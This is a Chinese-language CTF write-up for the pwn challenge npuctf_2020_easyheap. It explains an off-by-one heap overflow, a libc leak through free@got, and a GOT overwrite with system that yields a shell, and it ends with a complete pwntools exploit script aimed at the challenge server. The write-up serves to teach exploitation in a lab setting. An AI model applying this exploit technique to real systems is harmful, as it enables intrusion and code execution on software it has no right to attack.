npuctf_2020_easyheap

检查防护措施

1

本地调试

2

堆菜单这里就不放图了 主要看一下create部分 ,我们创建了三个chunk,2个大小为24的chunk和一个大小为56的chunk,gdb调试发现程序创建了6个chunk,多创建了3个chunk,这三个chunk的fd指针位置保存chunk的大小,bk指针位置指向chunk的data域

IDA静态分析

create()

3

edit()

4

编辑功能存在off-by-one漏洞,那么我们可以多写一字节去覆盖下一个chunk的size构造堆重叠

show()

5

打印程序为我们创建的chunk的bk指针指向的地址的内容,也就是我们创建的chunk地址,但是如果我们把这个地址修改成free的got表地址,我们就可以泄露libc了

free()

6

先释放我们创建的chunk再释放开始创建的0x10的chunk

指针赋值为0,不存在uaf

大致思路

利用off-by-one覆盖下一个chunk的size构造堆重叠,再修改bk指针处的地址为free的got表地址,show打印出来泄露libc,再修改free@got为system地址,在chunk的内容里写入/bin/sh这样free这个chunk就拿到了shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import*
context(os='linux', arch='amd64', log_level='debug')

#io = process('./npuctf_2020_easyheap')
io= remote("node4.buuoj.cn",27350)
elf =ELF('./npuctf_2020_easyheap')
libc = ELF('./libc-2.27_64.so')
free_got = elf.got['free']
def add(size,content):
io.recvuntil(b"Your choice :")
io.sendline(str(1))
io.recvuntil(b"Size of Heap(0x10 or 0x20 only) :")
io.sendline(str(size))
io.recvuntil(b"Content:")
io.send(content)

def edit(index,content):
io.recvuntil(b"Your choice :")
io.sendline(str(2))
io.recvuntil(b"Index :")
io.sendline(str(index))
io.recvuntil(b"Content:")
io.send(content)

def show(index):
io.recvuntil(b"Your choice :")
io.sendline(str(3))
io.recvuntil(b"Index :")
io.sendline(str(index))

def free(index):
io.recvuntil(b"Your choice :")
io.sendline(str(4))
io.recvuntil(b"Index :")
io.sendline(str(index))

add(24,b'aaaa') #0
add(24,b'bbbb') #1
add(56,b'/bin/sh') #2
#gdb.attach(io)
edit(0,b'a'*(24)+p8(0x41))

free(1)
add(56,b'cccc')


edit(1,p64(0)*3+p64(0x21)+p64(0x38)+p64(elf.got['free']))

show(1)
free_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(free_addr))
libc_base = free_addr - libc.sym['free']
system = libc_base + libc.sym['system']
#bin_sh= libc_base + next(libc.search(b'/bin/sh'))
edit(1,p64(system))
free(2)

io.interactive()

7